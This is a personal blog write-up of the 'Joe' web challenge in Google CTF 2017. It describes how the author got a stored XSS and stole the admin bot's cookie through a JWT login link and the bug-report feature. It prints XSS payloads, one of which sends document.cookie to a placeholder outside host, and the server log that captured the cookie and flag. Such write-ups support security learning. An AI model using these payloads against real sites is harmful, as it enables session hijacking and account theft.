Yasin Soliman

Yasin Soliman

I'm Yasin, a security analyst and researcher from the UK. This is my personal blog for sharing technical findings. I also write for Graham Cluley and Tripwire.

Yasin Soliman



Joe Challenge Writeup: taking part in Google CTF 2017

Yasin SolimanYasin Soliman

In between enjoying the sunny British weather over the weekend, I spent some time working on Google's CTF competition. Open to solo participants and teams alike, the qualification round of Google's second annual Capture The Flag featured a range of challenges involving disciplines like cryptography, reverse engineering, and web security.

Google CTF homepage

After logging in and reviewing the FAQ, in which the flag format and "Sanity Check" flag itself was contained – CTF{this-is-a-flag} – I got started with the Joe challenge.


Joe was the first of five puzzles in the Web category, and one of the five across the whole CTF classified as Easy. In essence, the challenge entailed the following:

If you can find a vulnerability that makes it possible to steal the cookies of the administrator, [we] will reward you with a valuable flag: https://joe.web.ctfcompetition.com

The Joe homepage

Initial reconnaissance and function mapping led me to focus on the following logic, post-authentication:

Cookie theft is often facilitated through XSS (cross-site scripting), so I asked Joe to let me rename you to an injection payload: '"><svg/onload=alert(document.domain)>.

Refreshing the page led to successful self-XSS. The payload was tied to my account and session.

Self-XSS showing Joe site domain

With a valid vector for cookie theft in the self context, I proceeded to focus on leveraging this against the "administrator" user. Asking Joe to report a bug involved supplying a valid report URL (prefixed with HTTP/S) and CAPTCHA response. Submitting a "report" led to a GET request for my testing server, so I decided to re-examine Joe's session handling logic and noticed the JSON Web Token parameter in a login request:


JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object.

I found that the above URL could be used to log into my account with a valid JWT, and proceeded to change Joe's name to a payload inspired by Brett Buerhaus' post from last year's CTF.

"><img src=x onerror=document.location="http://<researcher.host>/?cookie="+encodeURI(document.cookie);>&justification="><img src=x onerror=document.location="http://<researcher.host>/?cookie="+encodeURI(document.cookie);>

With a Compute Engine instance running python -m SimpleHTTPServer 80, I invoked a new bug report and sent my tokenised URL to Joe, but this was rejected due to excess length. No problem, though – shortening the URL with goo.gl led to a successful result: - - [18/Jun/2017 11:32:13] "GET /?cookie=flag=CTF%7Bh1-j03-c4n-1-h4v3-4-c00k13-plz!?!%7D;%20session=%<Session>%22 HTTP/1.1" 200 -  

URL-shortened payload

And finally, with a quick bit of cleaning up and verification, our flag was revealed: - - [18/Jun/2017 11:32:13] "GET /?cookie=flag=CTF{h1-j03-c4n-1-h4v3-4-c00k13-plz!?!}; session="<Session>" HTTP/1.1" 200 -  

Flag for Joe challenge: CTF{h1-j03-c4n-1-h4v3-4-c00k13-plz!?!}


Thanks to Eduardo (@sirdarckcat), Gábor (@molnar_g), and the whole CTF team for an intense but highly enjoyable competition!

Despite only completing one challenge (besides the FAQ) in my first online entry, I learned lots of new techniques and look forward to catching up on community write-ups in the days ahead.

Yasin Soliman

Yasin Soliman